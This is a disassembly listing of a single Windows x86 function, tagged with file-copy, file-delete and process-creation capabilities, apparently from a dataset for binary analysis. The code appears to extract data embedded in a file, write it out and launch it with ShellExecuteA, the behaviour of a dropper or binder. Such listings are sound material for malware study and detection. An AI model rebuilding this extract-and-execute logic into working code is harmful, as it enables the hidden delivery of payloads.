Function at 0x46d35c
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x46d364
push ecx
push ebx
push esi
push edi
mov eax, 0x46d134
call fcn.004067c0
mov edi, 0x470c44
xor eax, eax
push ebp
push 0x46d62a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402a90
lea eax, [ebp - 0x14]
mov edx, 0x46d644
call fcn.004049f4
mov eax, dword [ebp - 0x14]
call fcn.00404bec
push eax
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402a90
mov eax, dword [ebp - 0x18]
call fcn.00404bec
push eax
call sub.kernel32.dll_CopyFileA
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402a90
lea eax, [ebp - 0x1c]
mov edx, 0x46d644
call fcn.004049f4
mov eax, dword [ebp - 0x1c]
mov edx, 0x470c34
call fcn.0046d018
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00402a90
lea eax, [ebp - 0x20]
mov edx, 0x46d644
call fcn.004049f4
mov eax, dword [ebp - 0x20]
call fcn.00404bec
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x470c34]
call fcn.004049ec
mov ebx, eax
mov eax, 0x470c38
call fcn.0040472c
jmp 0x46d44d
lea eax, [ebp - 0x24]
mov edx, dword [0x470c34]
mov dl, byte [edx + ebx - 1]
call fcn.00404914
mov edx, dword [ebp - 0x24]
mov eax, 0x470c38
mov ecx, dword [0x470c38]
call fcn.00404a38
dec ebx
test ebx, ebx
jle 0x46d45d
mov eax, dword [0x470c34]
cmp byte [eax + ebx - 1], 0
jne 0x46d427
cmp dword [0x470c38], 0
jne 0x46d46b
call fcn.0040463c
mov eax, dword [0x470c38]
call fcn.004049ec
mov ecx, eax
mov eax, 0x470c34
mov edx, ebx
call main
jmp 0x46d5f7
push 0x470c40
mov edx, dword [0x470c38]
mov eax, 0x46d650
call fcn.00404d30
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x470c38]
call fcn.00404c4c
mov edx, dword [0x470c38]
mov eax, 0x46d650
call fcn.00404d30
mov ecx, eax
mov eax, 0x470c38
mov edx, 1
call main
lea eax, [ebp - 0x28]
push eax
mov edx, dword [0x470c40]
mov eax, 0x46d65c
call fcn.00404d30
mov ecx, eax
sub ecx, 2
mov edx, 1
mov eax, dword [0x470c40]
call fcn.00404c4c
mov eax, dword [ebp - 0x28]
push eax
lea edx, [ebp - 0x2c]
mov al, 5
call fcn.0046cefc
mov edx, dword [ebp - 0x2c]
mov eax, 0x470c3c
pop ecx
call fcn.00404a38
lea eax, [ebp - 0x30]
push eax
mov edx, dword [0x470c40]
mov eax, 0x46d65c
call fcn.00404d30
mov edx, eax
dec edx
mov ecx, 1
mov eax, dword [0x470c40]
call fcn.00404c4c
mov eax, dword [ebp - 0x30]
mov edx, 0x46d668
call fcn.00404b38
sete bl
mov edx, dword [0x470c40]
mov eax, 0x46d65c
call fcn.00404d30
mov ecx, eax
mov eax, 0x470c40
mov edx, 1
call main
mov eax, dword [0x470c40]
call fcn.0046cea8
mov esi, eax
mov edx, dword [0x470c3c]
mov eax, edi
call fcn.00402e1c
mov eax, edi
call fcn.00402bb8
lea eax, [ebp - 0x34]
push eax
mov eax, dword [0x470c34]
call fcn.004049ec
mov edx, eax
sub edx, esi
mov ecx, esi
mov eax, dword [0x470c34]
call fcn.00404c4c
mov edx, dword [ebp - 0x34]
mov eax, edi
call fcn.00404ddc
call fcn.00402ed8
mov eax, edi
call fcn.00402f98
mov eax, dword [0x470c34]
call fcn.004049ec
mov edx, eax
sub edx, esi
mov eax, 0x470c34
mov ecx, esi
call main
test bl, bl
je 0x46d5f7
push 5
push 0
push 0
mov eax, dword [0x470c3c]
call fcn.00404bec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
mov edx, dword [0x470c38]
mov eax, 0x46d650
call fcn.00404d30
test eax, eax
jg 0x46d488
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d631
lea eax, [ebp - 0x34]
mov edx, 9
call fcn.00404750
ret